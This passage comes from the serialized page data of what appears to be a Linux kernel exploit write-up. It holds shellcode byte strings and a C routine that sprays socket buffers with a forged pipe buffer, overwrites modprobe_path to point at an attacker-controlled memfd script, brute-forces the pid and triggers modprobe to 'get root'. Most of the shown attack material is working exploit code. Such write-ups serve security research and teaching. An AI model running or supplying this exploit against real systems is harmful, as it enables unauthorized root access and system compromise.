0x45",{"type":25,"tag":216,"props":63551,"children":63552},{"style":6958},[63553],{"type":31,"value":7020},{"type":25,"tag":216,"props":63555,"children":63556},{"style":8199},[63557],{"type":31,"value":24014},{"type":25,"tag":216,"props":63559,"children":63560},{"style":52336},[63561],{"type":31,"value":63562},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":25,"tag":216,"props":63564,"children":63565},{"style":8199},[63566],{"type":31,"value":24014},{"type":25,"tag":216,"props":63568,"children":63569},{"style":6958},[63570],{"type":31,"value":7020},{"type":25,"tag":216,"props":63572,"children":63573},{"style":6983},[63574],{"type":31,"value":63575},"15",{"type":25,"tag":216,"props":63577,"children":63578},{"style":6958},[63579],{"type":31,"value":7030},{"type":25,"tag":216,"props":63581,"children":63582},{"style":6947},[63583],{"type":31,"value":12522},{"type":25,"tag":216,"props":63585,"children":63586},{"style":6983},[63587],{"type":31,"value":6986},{"type":25,"tag":216,"props":63589,"children":63590},{"style":6947},[63591],{"type":31,"value":56646},{"type":25,"tag":216,"props":63593,"children":63594},{"class":6916,"line":7639},[63595,63599,63603,63607,63612,63616,63620,63625,63629,63633,63637,63641,63645,63649],{"type":25,"tag":216,"props":63596,"children":63597},{"style":7041},[63598],{"type":31,"value":63131},{"type":25,"tag":216,"props":63600,"children":63601},{"style":6958},[63602],{"type":31,"value":63073},{"type":25,"tag":216,"props":63604,"children":63605},{"style":6947},[63606],{"type":31,"value":3533},{"type":25,"tag":216,"props":63608,"children":63609},{"style":6983},[63610],{"type":31,"value":63611}," 0x55",{"type":25,"tag":216,"props":63613,"children":63614},{"style":6958},[63615],{"type":31,"value":7020},{"type":25,"tag":216,"props":63617,"children":63618},{"style":8199},[63619],{"type":31,"value":24014},{"type":25,"tag":216,"props":63621,"children":63622},{"style":52336},[63623],{"type":31,"value":63624},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":25,"tag":216,"props":63626,"children":63627},{"style":8199},[63628],{"type":31,"value":24014},{"type":25,"tag":216,"props":63630,"children":63631},{"style":6958},[63632],{"type":31,"value":7020},{"type":25,"tag":216,"props":63634,"children":63635},{"style":6983},[63636],{"type":31,"value":8025},{"type":25,"tag":216,"props":63638,"children":63639},{"style":6958},[63640],{"type":31,"value":7030},{"type":25,"tag":216,"props":63642,"children":63643},{"style":6947},[63644],{"type":31,"value":12522},{"type":25,"tag":216,"props":63646,"children":63647},{"style":6983},[63648],{"type":31,"value":6986},{"type":25,"tag":216,"props":63650,"children":63651},{"style":6947},[63652],{"type":31,"value":56646},{"type":25,"tag":216,"props":63654,"children":63655},{"class":6916,"line":7648},[63656,63660,63664,63668,63673,63677,63681,63686,63690,63694,63698,63702,63706,63710],{"type":25,"tag":216,"props":63657,"children":63658},{"style":7041},[63659],{"type":31,"value":63131},{"type":25,"tag":216,"props":63661,"children":63662},{"style":6958},[63663],{"type":31,"value":63073},{"type":25,"tag":216,"props":63665,"children":63666},{"style":6947},[63667],{"type":31,"value":3533},{"type":25,"tag":216,"props":63669,"children":63670},{"style":6983},[63671],{"type":31,"value":63672}," 0x61",{"type":25,"tag":216,"props":63674,"children":63675},{"style":6958},[63676],{"type":31,"value":7020},{"type":25,"tag":216,"props":63678,"children":63679},{"style":8199},[63680],{"type":31,"value":24014},{"type":25,"tag":216,"props":63682,"children":63683},{"style":52336},[63684],{"type":31,"value":63685},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":25,"tag":216,"props":63687,"children":63688},{"style":8199},[63689],{"type":31,"value":24014},{"type":25,"tag":216,"props":63691,"children":63692},{"style":6958},[63693],{"type":31,"value":7020},{"type":25,"tag":216,"props":63695,"children":63696},{"style":6983},[63697],{"type":31,"value":22061},{"type":25,"tag":216,"props":63699,"children":63700},{"style":6958},[63701],{"type":31,"value":7030},{"type":25,"tag":216,"props":63703,"children":63704},{"style":6947},[63705],{"type":31,"value":12522},{"type":25,"tag":216,"props":63707,"children":63708},{"style":6983},[63709],{"type":31,"value":6986},{"type":25,"tag":216,"props":63711,"children":63712},{"style":6947},[63713],{"type":31,"value":56646},{"type":25,"tag":216,"props":63715,"children":63716},{"class":6916,"line":7716},[63717,63721,63725,63729,63734,63738,63742,63747,63751,63755,63759,63763,63767,63771],{"type":25,"tag":216,"props":63718,"children":63719},{"style":7041},[63720],{"type":31,"value":63131},{"type":25,"tag":216,"props":63722,"children":63723},{"style":6958},[63724],{"type":31,"value":63073},{"type":25,"tag":216,"props":63726,"children":63727},{"style":6947},[63728],{"type":31,"value":3533},{"type":25,"tag":216,"props":63730,"children":63731},{"style":6983},[63732],{"type":31,"value":63733}," 0x6a",{"type":25,"tag":216,"props":63735,"children":63736},{"style":6958},[63737],{"type":31,"value":7020},{"type":25,"tag":216,"props":63739,"children":63740},{"style":8199},[63741],{"type":31,"value":24014},{"type":25,"tag":216,"props":63743,"children":63744},{"style":52336},[63745],{"type":31,"value":63746},"\\x48\\xc7\\xc6",{"type":25,"tag":216,"props":63748,"children":63749},{"style":8199},[63750],{"type":31,"value":24014},{"type":25,"tag":216,"props":63752,"children":63753},{"style":6958},[63754],{"type":31,"value":7020},{"type":25,"tag":216,"props":63756,"children":63757},{"style":6983},[63758],{"type":31,"value":21247},{"type":25,"tag":216,"props":63760,"children":63761},{"style":6958},[63762],{"type":31,"value":7030},{"type":25,"tag":216,"props":63764,"children":63765},{"style":6947},[63766],{"type":31,"value":12522},{"type":25,"tag":216,"props":63768,"children":63769},{"style":6983},[63770],{"type":31,"value":6986},{"type":25,"tag":216,"props":63772,"children":63773},{"style":6947},[63774],{"type":31,"value":56646},{"type":25,"tag":216,"props":63776,"children":63777},{"class":6916,"line":7724},[63778,63782,63786,63790,63795,63799,63803,63808,63812,63816,63820,63824,63828,63832],{"type":25,"tag":216,"props":63779,"children":63780},{"style":7041},[63781],{"type":31,"value":63131},{"type":25,"tag":216,"props":63783,"children":63784},{"style":6958},[63785],{"type":31,"value":63073},{"type":25,"tag":216,"props":63787,"children":63788},{"style":6947},[63789],{"type":31,"value":3533},{"type":25,"tag":216,"props":63791,"children":63792},{"style":6983},[63793],{"type":31,"value":63794}," 0x71",{"type":25,"tag":216,"props":63796,"children":63797},{"style":6958},[63798],{"type":31,"value":7020},{"type":25,"tag":216,"props":63800,"children":63801},{"style":8199},[63802],{"type":31,"value":24014},{"type":25,"tag":216,"props":63804,"children":63805},{"style":52336},[63806],{"type":31,"value":63807},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":25,"tag":216,"props":63809,"children":63810},{"style":8199},[63811],{"type":31,"value":24014},{"type":25,"tag":216,"props":63813,"children":63814},{"style":6958},[63815],{"type":31,"value":7020},{"type":25,"tag":216,"props":63817,"children":63818},{"style":6983},[63819],{"type":31,"value":22373},{"type":25,"tag":216,"props":63821,"children":63822},{"style":6958},[63823],{"type":31,"value":7030},{"type":25,"tag":216,"props":63825,"children":63826},{"style":6947},[63827],{"type":31,"value":12522},{"type":25,"tag":216,"props":63829,"children":63830},{"style":6983},[63831],{"type":31,"value":6986},{"type":25,"tag":216,"props":63833,"children":63834},{"style":6947},[63835],{"type":31,"value":56646},{"type":25,"tag":216,"props":63837,"children":63838},{"class":6916,"line":7754},[63839,63843,63847,63851,63856,63860,63864,63869,63873,63877,63881,63885,63889,63893],{"type":25,"tag":216,"props":63840,"children":63841},{"style":7041},[63842],{"type":31,"value":63131},{"type":25,"tag":216,"props":63844,"children":63845},{"style":6958},[63846],{"type":31,"value":63073},{"type":25,"tag":216,"props":63848,"children":63849},{"style":6947},[63850],{"type":31,"value":3533},{"type":25,"tag":216,"props":63852,"children":63853},{"style":6983},[63854],{"type":31,"value":63855}," 0x78",{"type":25,"tag":216,"props":63857,"children":63858},{"style":6958},[63859],{"type":31,"value":7020},{"type":25,"tag":216,"props":63861,"children":63862},{"style":8199},[63863],{"type":31,"value":24014},{"type":25,"tag":216,"props":63865,"children":63866},{"style":52336},[63867],{"type":31,"value":63868},"\\xff\\xe0",{"type":25,"tag":216,"props":63870,"children":63871},{"style":8199},[63872],{"type":31,"value":24014},{"type":25,"tag":216,"props":63874,"children":63875},{"style":6958},[63876],{"type":31,"value":7020},{"type":25,"tag":216,"props":63878,"children":63879},{"style":6983},[63880],{"type":31,"value":331},{"type":25,"tag":216,"props":63882,"children":63883},{"style":6958},[63884],{"type":31,"value":7030},{"type":25,"tag":216,"props":63886,"children":63887},{"style":6947},[63888],{"type":31,"value":12522},{"type":25,"tag":216,"props":63890,"children":63891},{"style":6983},[63892],{"type":31,"value":6986},{"type":25,"tag":216,"props":63894,"children":63895},{"style":6958},[63896],{"type":31,"value":7101},{"type":25,"tag":216,"props":63898,"children":63899},{"class":6916,"line":7762},[63900,63904,63908],{"type":25,"tag":216,"props":63901,"children":63902},{"style":6967},[63903],{"type":31,"value":19696},{"type":25,"tag":216,"props":63905,"children":63906},{"style":6930},[63907],{"type":31,"value":16419},{"type":25,"tag":216,"props":63909,"children":63910},{"style":6958},[63911],{"type":31,"value":6961},{"type":25,"tag":216,"props":63913,"children":63914},{"class":6916,"line":7794},[63915],{"type":25,"tag":216,"props":63916,"children":63917},{"emptyLinePlaceholder":16},[63918],{"type":31,"value":7636},{"type":25,"tag":216,"props":63920,"children":63921},{"class":6916,"line":7802},[63922,63926,63930],{"type":25,"tag":216,"props":63923,"children":63924},{"style":6967},[63925],{"type":31,"value":20941},{"type":25,"tag":216,"props":63927,"children":63928},{"style":6930},[63929],{"type":31,"value":13006},{"type":25,"tag":216,"props":63931,"children":63932},{"style":6958},[63933],{"type":31,"value":6961},{"type":25,"tag":216,"props":63935,"children":63936},{"class":6916,"line":7862},[63937],{"type":25,"tag":216,"props":63938,"children":63939},{"style":6958},[63940],{"type":31,"value":7868},{"type":25,"tag":216,"props":63942,"children":63943},{"class":6916,"line":12995},[63944],{"type":25,"tag":216,"props":63945,"children":63946},{"style":6958},[63947],{"type":31,"value":14269},{"type":25,"tag":607,"props":63949,"children":63951},{"id":63950},"overwriting-modprobe_path",[63952,63954],{"type":31,"value":63953},"Overwriting ",{"type":25,"tag":82,"props":63955,"children":63957},{"className":63956},[],[63958],{"type":31,"value":62339},{"type":25,"tag":38,"props":63960,"children":63961},{},[63962,63964,63970],{"type":31,"value":63963},"Finding the ",{"type":25,"tag":82,"props":63965,"children":63967},{"className":63966},[],[63968],{"type":31,"value":63969},"/sbin/modprobe",{"type":31,"value":63971}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":25,"tag":38,"props":63973,"children":63974},{},[63975,63977,63983],{"type":31,"value":63976},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":25,"tag":82,"props":63978,"children":63980},{"className":63979},[],[63981],{"type":31,"value":63982},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":31,"value":63984}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":25,"tag":206,"props":63986,"children":63988},{"className":33064,"code":63987,"language":33066,"meta":7,"style":7},"[...]\n    puts(\"[*] overwrite modprobe_path\");\n    for (int i = 0; i \u003C 4194304; i++)\n    {\n        pipebuf->page = modprobe_page;\n        pipebuf->offset = modprobe_off;\n        pipebuf->len = 0;\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] write(socket)\");\n                break;\n            }\n        }\n\n        memset(&data, 0, PAGE_SIZE);\n        snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n        lseek(modprobe_fd, 0, SEEK_SET);\n        dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n        if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n        {\n            perror(\"\\n[-] write(pipe)\");\n        }\n\n        if (check_modprobe(fd_path))\n        {\n            puts(\"[-] failed to overwrite modprobe\");\n            break;\n        }\n\n        if (trigger_modprobe(status_fd))\n        {\n            puts(\"\\n[+] got root\");\n            goto out;\n        }\n\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] read(socket)\");\n                return -1;\n            }\n        }\n    }\n    puts(\"[-] fake modprobe failed\");\n[...]\n",[63989],{"type":25,"tag":82,"props":63990,"children":63991},{"__ignoreMap":7},[63992,63999,64021,64029,64036,64044,64052,64060,64068,64075,64083,64090,64128,64139,64146,64153,64160,64187,64218,64225,64247,64260,64267,64325,64332,64360,64367,64374,64395,64402,64423,64434,64441,64448,64469,64476,64504,64517,64524,64531,64580,64587,64655,64662,64683,64703,64710,64717,64724,64744],{"type":25,"tag":216,"props":63993,"children":63994},{"class":6916,"line":6917},[63995],{"type":25,"tag":216,"props":63996,"children":63997},{"style":6958},[63998],{"type":31,"value":14269},{"type":25,"tag":216,"props":64000,"children":64001},{"class":6916,"line":6763},[64002,64007,64012,64017],{"type":25,"tag":216,"props":64003,"children":64004},{"style":6958},[64005],{"type":31,"value":64006},"    puts(\"[*] ",{"type":25,"tag":216,"props":64008,"children":64009},{"style":7369},[64010],{"type":31,"value":64011},"overwrite",{"type":25,"tag":216,"props":64013,"children":64014},{"style":7369},[64015],{"type":31,"value":64016}," modprobe_path",{"type":25,"tag":216,"props":64018,"children":64019},{"style":8199},[64020],{"type":31,"value":60254},{"type":25,"tag":216,"props":64022,"children":64023},{"class":6916,"line":6772},[64024],{"type":25,"tag":216,"props":64025,"children":64026},{"style":8199},[64027],{"type":31,"value":64028},"    for (int i = 0; i \u003C 4194304; i++)\n",{"type":25,"tag":216,"props":64030,"children":64031},{"class":6916,"line":6999},[64032],{"type":25,"tag":216,"props":64033,"children":64034},{"style":8199},[64035],{"type":31,"value":33141},{"type":25,"tag":216,"props":64037,"children":64038},{"class":6916,"line":7104},[64039],{"type":25,"tag":216,"props":64040,"children":64041},{"style":8199},[64042],{"type":31,"value":64043},"        pipebuf->page = modprobe_page;\n",{"type":25,"tag":216,"props":64045,"children":64046},{"class":6916,"line":7210},[64047],{"type":25,"tag":216,"props":64048,"children":64049},{"style":8199},[64050],{"type":31,"value":64051},"        pipebuf->offset = modprobe_off;\n",{"type":25,"tag":216,"props":64053,"children":64054},{"class":6916,"line":7238},[64055],{"type":25,"tag":216,"props":64056,"children":64057},{"style":8199},[64058],{"type":31,"value":64059},"        pipebuf->len = 0;\n",{"type":25,"tag":216,"props":64061,"children":64062},{"class":6916,"line":7251},[64063],{"type":25,"tag":216,"props":64064,"children":64065},{"style":8199},[64066],{"type":31,"value":64067},"        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":25,"tag":216,"props":64069,"children":64070},{"class":6916,"line":7269},[64071],{"type":25,"tag":216,"props":64072,"children":64073},{"style":8199},[64074],{"type":31,"value":35615},{"type":25,"tag":216,"props":64076,"children":64077},{"class":6916,"line":7290},[64078],{"type":25,"tag":216,"props":64079,"children":64080},{"style":8199},[64081],{"type":31,"value":64082},"            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":25,"tag":216,"props":64084,"children":64085},{"class":6916,"line":7299},[64086],{"type":25,"tag":216,"props":64087,"children":64088},{"style":8199},[64089],{"type":31,"value":35651},{"type":25,"tag":216,"props":64091,"children":64092},{"class":6916,"line":7551},[64093,64098,64102,64106,64110,64115,64119,64123],{"type":25,"tag":216,"props":64094,"children":64095},{"style":8199},[64096],{"type":31,"value":64097},"                perror(\"",{"type":25,"tag":216,"props":64099,"children":64100},{"style":6958},[64101],{"type":31,"value":7695},{"type":25,"tag":216,"props":64103,"children":64104},{"style":6947},[64105],{"type":31,"value":8270},{"type":25,"tag":216,"props":64107,"children":64108},{"style":6958},[64109],{"type":31,"value":12608},{"type":25,"tag":216,"props":64111,"children":64112},{"style":7369},[64113],{"type":31,"value":64114},"write",{"type":25,"tag":216,"props":64116,"children":64117},{"style":6958},[64118],{"type":31,"value":1844},{"type":25,"tag":216,"props":64120,"children":64121},{"style":7369},[64122],{"type":31,"value":45897},{"type":25,"tag":216,"props":64124,"children":64125},{"style":6958},[64126],{"type":31,"value":64127},")\");\n",{"type":25,"tag":216,"props":64129,"children":64130},{"class":6916,"line":7568},[64131,64135],{"type":25,"tag":216,"props":64132,"children":64133},{"style":6967},[64134],{"type":31,"value":62921},{"type":25,"tag":216,"props":64136,"children":64137},{"style":6958},[64138],{"type":31,"value":6961},{"type":25,"tag":216,"props":64140,"children":64141},{"class":6916,"line":7585},[64142],{"type":25,"tag":216,"props":64143,"children":64144},{"style":6958},[64145],{"type":31,"value":62846},{"type":25,"tag":216,"props":64147,"children":64148},{"class":6916,"line":7598},[64149],{"type":25,"tag":216,"props":64150,"children":64151},{"style":6958},[64152],{"type":31,"value":7296},{"type":25,"tag":216,"props":64154,"children":64155},{"class":6916,"line":7607},[64156],{"type":25,"tag":216,"props":64157,"children":64158},{"emptyLinePlaceholder":16},[64159],{"type":31,"value":7636},{"type":25,"tag":216,"props":64161,"children":64162},{"class":6916,"line":7630},[64163,64167,64171,64175,64179,64183],{"type":25,"tag":216,"props":64164,"children":64165},{"style":7041},[64166],{"type":31,"value":58579},{"type":25,"tag":216,"props":64168,"children":64169},{"style":6958},[64170],{"type":31,"value":1844},{"type":25,"tag":216,"props":64172,"children":64173},{"style":6947},[64174],{"type":31,"value":7053},{"type":25,"tag":216,"props":64176,"children":64177},{"style":6958},[64178],{"type":31,"value":62732},{"type":25,"tag":216,"props":64180,"children":64181},{"style":6983},[64182],{"type":31,"value":1876},{"type":25,"tag":216,"props":64184,"children":64185},{"style":6958},[64186],{"type":31,"value":62741},{"type":25,"tag":216,"props":64188,"children":64189},{"class":6916,"line":7639},[64190,64194,64199,64203,64208,64213],{"type":25,"tag":216,"props":64191,"children":64192},{"style":7041},[64193],{"type":31,"value":59280},{"type":25,"tag":216,"props":64195,"children":64196},{"style":6958},[64197],{"type":31,"value":64198},"(fd_path, ",{"type":25,"tag":216,"props":64200,"children":64201},{"style":6930},[64202],{"type":31,"value":59290},{"type":25,"tag":216,"props":64204,"children":64205},{"style":6958},[64206],{"type":31,"value":64207},"(fd_path), ",{"type":25,"tag":216,"props":64209,"children":64210},{"style":8199},[64211],{"type":31,"value":64212},"\"/proc/%i/fd/%i\"",{"type":25,"tag":216,"props":64214,"children":64215},{"style":6958},[64216],{"type":31,"value":64217},", i, modprobe_fd);\n",{"type":25,"tag":216,"props":64219,"children":64220},{"class":6916,"line":7648},[64221],{"type":25,"tag":216,"props":64222,"children":64223},{"emptyLinePlaceholder":16},[64224],{"type":31,"value":7636},{"type":25,"tag":216,"props":64226,"children":64227},{"class":6916,"line":7716},[64228,64233,64238,64242],{"type":25,"tag":216,"props":64229,"children":64230},{"style":7041},[64231],{"type":31,"value":64232},"        lseek",{"type":25,"tag":216,"props":64234,"children":64235},{"style":6958},[64236],{"type":31,"value":64237},"(modprobe_fd, ",{"type":25,"tag":216,"props":64239,"children":64240},{"style":6983},[64241],{"type":31,"value":1876},{"type":25,"tag":216,"props":64243,"children":64244},{"style":6958},[64245],{"type":31,"value":64246},", SEEK_SET);\n",{"type":25,"tag":216,"props":64248,"children":64249},{"class":6916,"line":7724},[64250,64255],{"type":25,"tag":216,"props":64251,"children":64252},{"style":7041},[64253],{"type":31,"value":64254},"        dprintf",{"type":25,"tag":216,"props":64256,"children":64257},{"style":6958},[64258],{"type":31,"value":64259},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":25,"tag":216,"props":64261,"children":64262},{"class":6916,"line":7754},[64263],{"type":25,"tag":216,"props":64264,"children":64265},{"emptyLinePlaceholder":16},[64266],{"type":31,"value":7636},{"type":25,"tag":216,"props":64268,"children":64269},{"class":6916,"line":7762},[64270,64274,64278,64282,64286,64290,64295,64299,64304,64309,64313,64317,64321],{"type":25,"tag":216,"props":64271,"children":64272},{"style":6967},[64273],{"type":31,"value":7216},{"type":25,"tag":216,"props":64275,"children":64276},{"style":6958},[64277],{"type":31,"value":7010},{"type":25,"tag":216,"props":64279,"children":64280},{"style":7041},[64281],{"type":31,"value":64114},{"type":25,"tag":216,"props":64283,"children":64284},{"style":6958},[64285],{"type":31,"value":1844},{"type":25,"tag":216,"props":64287,"children":64288},{"style":6941},[64289],{"type":31,"value":62785},{"type":25,"tag":216,"props":64291,"children":64292},{"style":6958},[64293],{"type":31,"value":64294},"[pipe_idx][",{"type":25,"tag":216,"props":64296,"children":64297},{"style":6983},[64298],{"type":31,"value":184},{"type":25,"tag":216,"props":64300,"children":64301},{"style":6958},[64302],{"type":31,"value":64303},"], fd_path, ",{"type":25,"tag":216,"props":64305,"children":64306},{"style":6983},[64307],{"type":31,"value":64308},"32",{"type":25,"tag":216,"props":64310,"children":64311},{"style":6958},[64312],{"type":31,"value":7030},{"type":25,"tag":216,"props":64314,"children":64315},{"style":6947},[64316],{"type":31,"value":9751},{"type":25,"tag":216,"props":64318,"children":64319},{"style":6983},[64320],{"type":31,"value":6986},{"type":25,"tag":216,"props":64322,"children":64323},{"style":6958},[64324],{"type":31,"value":7101},{"type":25,"tag":216,"props":64326,"children":64327},{"class":6916,"line":7794},[64328],{"type":25,"tag":216,"props":64329,"children":64330},{"style":6958},[64331],{"type":31,"value":35615},{"type":25,"tag":216,"props":64333,"children":64334},{"class":6916,"line":7802},[64335,64339,64343,64347,64351,64356],{"type":25,"tag":216,"props":64336,"children":64337},{"style":7041},[64338],{"type":31,"value":61859},{"type":25,"tag":216,"props":64340,"children":64341},{"style":6958},[64342],{"type":31,"value":1844},{"type":25,"tag":216,"props":64344,"children":64345},{"style":8199},[64346],{"type":31,"value":24014},{"type":25,"tag":216,"props":64348,"children":64349},{"style":52336},[64350],{"type":31,"value":52339},{"type":25,"tag":216,"props":64352,"children":64353},{"style":8199},[64354],{"type":31,"value":64355},"[-] write(pipe)\"",{"type":25,"tag":216,"props":64357,"children":64358},{"style":6958},[64359],{"type":31,"value":7791},{"type":25,"tag":216,"props":64361,"children":64362},{"class":6916,"line":7862},[64363],{"type":25,"tag":216,"props":64364,"children":64365},{"style":6958},[64366],{"type":31,"value":7296},{"type":25,"tag":216,"props":64368,"children":64369},{"class":6916,"line":12995},[64370],{"type":25,"tag":216,"props":64371,"children":64372},{"emptyLinePlaceholder":16},[64373],{"type":31,"value":7636},{"type":25,"tag":216,"props":64375,"children":64376},{"class":6916,"line":13013},[64377,64381,64385,64390],{"type":25,"tag":216,"props":64378,"children":64379},{"style":6967},[64380],{"type":31,"value":7216},{"type":25,"tag":216,"props":64382,"children":64383},{"style":6958},[64384],{"type":31,"value":7010},{"type":25,"tag":216,"props":64386,"children":64387},{"style":7041},[64388],{"type":31,"value":64389},"check_modprobe",{"type":25,"tag":216,"props":64391,"children":64392},{"style":6958},[64393],{"type":31,"value":64394},"(fd_path))\n",{"type":25,"tag":216,"props":64396,"children":64397},{"class":6916,"line":13058},[64398],{"type":25,"tag":216,"props":64399,"children":64400},{"style":6958},[64401],{"type":31,"value":35615},{"type":25,"tag":216,"props":64403,"children":64404},{"class":6916,"line":13164},[64405,64410,64414,64419],{"type":25,"tag":216,"props":64406,"children":64407},{"style":7041},[64408],{"type":31,"value":64409},"            puts",{"type":25,"tag":216,"props":64411,"children":64412},{"style":6958},[64413],{"type":31,"value":1844},{"type":25,"tag":216,"props":64415,"children":64416},{"style":8199},[64417],{"type":31,"value":64418},"\"[-] failed to overwrite modprobe\"",{"type":25,"tag":216,"props":64420,"children":64421},{"style":6958},[64422],{"type":31,"value":7791},{"type":25,"tag":216,"props":64424,"children":64425},{"class":6916,"line":27449},[64426,64430],{"type":25,"tag":216,"props":64427,"children":64428},{"style":6967},[64429],{"type":31,"value":7244},{"type":25,"tag":216,"props":64431,"children":64432},{"style":6958},[64433],{"type":31,"value":6961},{"type":25,"tag":216,"props":64435,"children":64436},{"class":6916,"line":27484},[64437],{"type":25,"tag":216,"props":64438,"children":64439},{"style":6958},[64440],{"type":31,"value":7296},{"type":25,"tag":216,"props":64442,"children":64443},{"class":6916,"line":27492},[64444],{"type":25,"tag":216,"props":64445,"children":64446},{"emptyLinePlaceholder":16},[64447],{"type":31,"value":7636},{"type":25,"tag":216,"props":64449,"children":64450},{"class":6916,"line":27500},[64451,64455,64459,64464],{"type":25,"tag":216,"props":64452,"children":64453},{"style":6967},[64454],{"type":31,"value":7216},{"type":25,"tag":216,"props":64456,"children":64457},{"style":6958},[64458],{"type":31,"value":7010},{"type":25,"tag":216,"props":64460,"children":64461},{"style":7041},[64462],{"type":31,"value":64463},"trigger_modprobe",{"type":25,"tag":216,"props":64465,"children":64466},{"style":6958},[64467],{"type":31,"value":64468},"(status_fd))\n",{"type":25,"tag":216,"props":64470,"children":64471},{"class":6916,"line":27509},[64472],{"type":25,"tag":216,"props":64473,"children":64474},{"style":6958},[64475],{"type":31,"value":35615},{"type":25,"tag":216,"props":64477,"children":64478},{"class":6916,"line":27551},[64479,64483,64487,64491,64495,64500],{"type":25,"tag":216,"props":64480,"children":64481},{"style":7041},[64482],{"type":31,"value":64409},{"type":25,"tag":216,"props":64484,"children":64485},{"style":6958},[64486],{"type":31,"value":1844},{"type":25,"tag":216,"props":64488,"children":64489},{"style":8199},[64490],{"type":31,"value":24014},{"type":25,"tag":216,"props":64492,"children":64493},{"style":52336},[64494],{"type":31,"value":52339},{"type":25,"tag":216,"props":64496,"children":64497},{"style":8199},[64498],{"type":31,"value":64499},"[+] got root\"",{"type":25,"tag":216,"props":64501,"children":64502},{"style":6958},[64503],{"type":31,"value":7791},{"type":25,"tag":216,"props":64505,"children":64506},{"class":6916,"line":27584},[64507,64512],{"type":25,"tag":216,"props":64508,"children":64509},{"style":6967},[64510],{"type":31,"value":64511},"            goto",{"type":25,"tag":216,"props":64513,"children":64514},{"style":6958},[64515],{"type":31,"value":64516}," out;\n",{"type":25,"tag":216,"props":64518,"children":64519},{"class":6916,"line":27592},[64520],{"type":25,"tag":216,"props":64521,"children":64522},{"style":6958},[64523],{"type":31,"value":7296},{"type":25,"tag":216,"props":64525,"children":64526},{"class":6916,"line":27600},[64527],{"type":25,"tag":216,"props":64528,"children":64529},{"emptyLinePlaceholder":16},[64530],{"type":31,"value":7636},{"type":25,"tag":216,"props":64532,"children":64533},{"class":6916,"line":27609},[64534,64539,64543,64547,64551,64555,64559,64563,64567,64572,64576],{"type":25,"tag":216,"props":64535,"children":64536},{"style":6967},[64537],{"type":31,"value":64538},"        for",{"type":25,"tag":216,"props":64540,"children":64541},{"style":6958},[64542],{"type":31,"value":7010},{"type":25,"tag":216,"props":64544,"children":64545},{"style":6930},[64546],{"type":31,"value":23001},{"type":25,"tag":216,"props":64548,"children":64549},{"style":6958},[64550],{"type":31,"value":58506},{"type":25,"tag":216,"props":64552,"children":64553},{"style":6947},[64554],{"type":31,"value":266},{"type":25,"tag":216,"props":64556,"children":64557},{"style":6983},[64558],{"type":31,"value":6986},{"type":25,"tag":216,"props":64560,"children":64561},{"style":6958},[64562],{"type":31,"value":55196},{"type":25,"tag":216,"props":64564,"children":64565},{"style":6947},[64566],{"type":31,"value":9751},{"type":25,"tag":216,"props":64568,"children":64569},{"style":6958},[64570],{"type":31,"value":64571}," SKBUF_SPRAY; i",{"type":25,"tag":216,"props":64573,"children":64574},{"style":6947},[64575],{"type":31,"value":55232},{"type":25,"tag":216,"props":64577,"children":64578},{"style":6958},[64579],{"type":31,"value":7101},{"type":25,"tag":216,"props":64581,"children":64582},{"class":6916,"line":27685},[64583],{"type":25,"tag":216,"props":64584,"children":64585},{"style":6958},[64586],{"type":31,"value":35615},{"type":25,"tag":216,"props":64588,"children":64589},{"class":6916,"line":27718},[64590,64594,64598,64603,64607,64612,64617,64621,64626,64630,64634,64639,64643,64647,64651],{"type":25,"tag":216,"props":64591,"children":64592},{"style":6967},[64593],{"type":31,"value":62762},{"type":25,"tag":216,"props":64595,"children":64596},{"style":6958},[64597],{"type":31,"value":7010},{"type":25,"tag":216,"props":64599,"children":64600},{"style":7041},[64601],{"type":31,"value":64602},"read",{"type":25,"tag":216,"props":64604,"children":64605},{"style":6958},[64606],{"type":31,"value":1844},{"type":25,"tag":216,"props":64608,"children":64609},{"style":6941},[64610],{"type":31,"value":64611},"sock",{"type":25,"tag":216,"props":64613,"children":64614},{"style":6958},[64615],{"type":31,"value":64616},"[i][",{"type":25,"tag":216,"props":64618,"children":64619},{"style":6983},[64620],{"type":31,"value":184},{"type":25,"tag":216,"props":64622,"children":64623},{"style":6958},[64624],{"type":31,"value":64625},"], leak, ",{"type":25,"tag":216,"props":64627,"children":64628},{"style":6983},[64629],{"type":31,"value":62110},{"type":25,"tag":216,"props":64631,"children":64632},{"style":6947},[64633],{"type":31,"value":55218},{"type":25,"tag":216,"props":64635,"children":64636},{"style":6983},[64637],{"type":31,"value":64638}," 320",{"type":25,"tag":216,"props":64640,"children":64641},{"style":6958},[64642],{"type":31,"value":7030},{"type":25,"tag":216,"props":64644,"children":64645},{"style":6947},[64646],{"type":31,"value":9751},{"type":25,"tag":216,"props":64648,"children":64649},{"style":6983},[64650],{"type":31,"value":6986},{"type":25,"tag":216,"props":64652,"children":64653},{"style":6958},[64654],{"type":31,"value":7101},{"type":25,"tag":216,"props":64656,"children":64657},{"class":6916,"line":27726},[64658],{"type":25,"tag":216,"props":64659,"children":64660},{"style":6958},[64661],{"type":31,"value":35651},{"type":25,"tag":216,"props":64663,"children":64664},{"class":6916,"line":27734},[64665,64670,64674,64679],{"type":25,"tag":216,"props":64666,"children":64667},{"style":7041},[64668],{"type":31,"value":64669},"                